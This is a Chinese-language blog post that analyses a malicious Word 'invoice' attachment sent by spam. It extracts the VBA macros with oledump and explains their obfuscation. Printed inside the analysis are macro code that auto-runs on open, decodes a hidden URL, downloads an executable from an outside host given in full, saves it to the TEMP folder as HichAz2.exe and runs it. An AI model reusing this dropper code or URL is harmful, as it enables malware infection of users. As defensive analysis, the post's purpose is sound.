Skip to main content
 首页 » 其他资源

恶意邮件里的doc文件解析

2015年10月25日 12:04:2450780

395.jpg

有些恶意软件经常通过垃圾邮件作为进入电脑的途径。通常他们会先部署简单的陷阱:将打包好的可执行文件发送到伪装的doc文件里。


这样的手段能欺骗一些不注意用户,不过观察仔细的用户仍然会注意到文件的真实扩展名是“.exe”,这代表它是一个可执行程序,而不是它所说的文档。但是就算它是一个真正的文件,也并不意味着它是无害的。


那么,我们来看看垃圾邮件中所发送的DOC文件的真正使命吧!


样品分析


(523)-Invoice 7500005791.doc – md5: 370751889f591000daa40c400d0611f2


提取宏


在这里我们使用oledump ,解剖文档用这个软件非常方便。


首先,让我们来看看在doc文档文件里有些什么:

./oledump.py “(523)-Invoice 7500005791.doc”
 1:      114 '\x01CompObj' 
 2:     4096 '\x05DocumentSummaryInformation' 
 3:     4096 '\x05SummaryInformation' 
 4:    10158 '1Table' 
 5:      513 'Macros/PROJECT' 
 6:      113 'Macros/PROJECTwm' 
 7: M   7807 'Macros/VBA/Module1'   
 8: M  18990 'Macros/VBA/Module2' 
 9: M  15739 'Macros/VBA/Module3'
 10: M   1475 'Macros/VBA/ThisDocument'   
 11:     7123 'Macros/VBA/_VBA_PROJECT'
 12:      617 'Macros/VBA/dir'
 13:     4096 'WordDocument'

正如我们可以在上面看到,7,8,9,10行显示了该文件带有4 VB模块。一般宏可以在这里潜在部署一些恶意操作。


我们可以使用相同的工具很容易地提取代码。

./oledump.py -s <stream number> -v <file>

让我们来获取所有的:

./oledump.py -s 7 -v “(523)-Invoice 7500005791.doc” > Module1.vb
./oledump.py -s 8 -v “(523)-Invoice 7500005791.doc” > Module2.vb
./oledump.py -s 9 -v “(523)-Invoice 7500005791.doc” > Module3.vb
./oledump.py -s 10 -v “(523)-Invoice 7500005791.doc” > ThisDocument.vb

分析


在ThisDocument.vb里开始执行宏。


ThisDocument.vb

Attribute VB_Name = "ThisDocument"Attribute 
VB_Base = "1Normal.ThisDocument"Attribute 
VB_GlobalNameSpace = FalseAttribute 
VB_Creatable = FalseAttribute 
VB_PredeclaredId = TrueAttribute 
VB_Exposed = TrueAttribute 
VB_TemplateDerived = TrueAttribute 
VB_Customizable = True 
Sub autoopen()
UserRetiraItem 0, 0, -5
BroadCastParty 0, ""
SendBanObj 0, 0, ""
DarCuerpoDesnudo 0, False
IniciarDeposito 0
Bloquear False, 0, 0, 0, False
HayLava -1, -1, -1
End Sub

autoopen中部署的几个函数,我们可以在其他的VB模块中找到。


在另一个文件中,有一些公共的对象是用来传递信息的:


Module1.vb

Public halalaya As Object
Public adbrd As Object
Public processEnv  As Object 
Public tempFile As String
Public shellApp As Object

halalaya对象被用来处理HTTP通讯。


SendBanObj功能产生一些GET请求:


Module1.vb

Public Sub SendBanObj(UserIndex As Integer, Slot As Byte, Object As String) 
Set shellApp = CreateObject("Shell.Application")
&#039;***************************************************&#039;
Author: Unknownn
&#039;Last Modification: -
&#039;
&#039;***************************************************
adbrd.Type = 1
Dim Professor() As Variant
Professor = Array(148, 158, 156, 150, 94, 81, 79, 149, 147, 145, 70, 137, 128, 115, 131, 125, 114, 126, 54, 105, 115, 48, 117, 105, 43, 47, 46, 42, 43, 39, 40, 36, 33, 25, 81, 78, 27, 24, 68, 68, 78, 8, 61, 78, 57)
halalaya.Open "GET", GetStringFromArray(Professor, 44), False
Exit Sub
Us.rList(Use.rIndex).BancoInvent.Object(Slot) = Object 
Call Writ.eChangeBankSlot(UserI.ndex, Slot) 
End Sub

其中,GET请求涉及的环节还无法读取。不过,反混淆的程序可以在另一个模块中找到:


Module2.vb

Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String    
    Dim i As Integer    
    Dim result As String    
    result = ""    
    For i = LBound(fromArr) To UBound(fromArr)        
    result = result & Chr(fromArr(i) - LenLen + i * 2)    
    Next i
    GetStringFromArray = result
End Function

执行数组函数后我们可以从以下链接中获取有效负载:

http://www.slasoft.co.uk/56475865/ih76dfr.exe

响应结果被保存到临时文件并被部署:

Module3.vb , Function HayLava

adbrd.write halalaya.responseBody
    adbrd.savetofile tempFile, 2shellApp.Open (tempFile)End Function

创造临时文件的名称:


Module1.vb

tempFile = processEnv("T" & "EMP")

Module3.vb , Sub Bloquear

If ToMap Then        
Call Sen.dData(SendTarget.ToMap, sndIndex, Prepar.eMessageBlockPosition(X, Y, b))        
Call Writ.eBlockPosition(sndIndex, X, Y, b)    
End If 
tempFile = tempFile + "\" & "Hich" & "Az2" + "." + "e" + "xe"
End Sub

所以,我们可以看到的结果被保存到目录中的HichAz2.exe。

评论列表暂无评论
发表评论
新浪微博
微信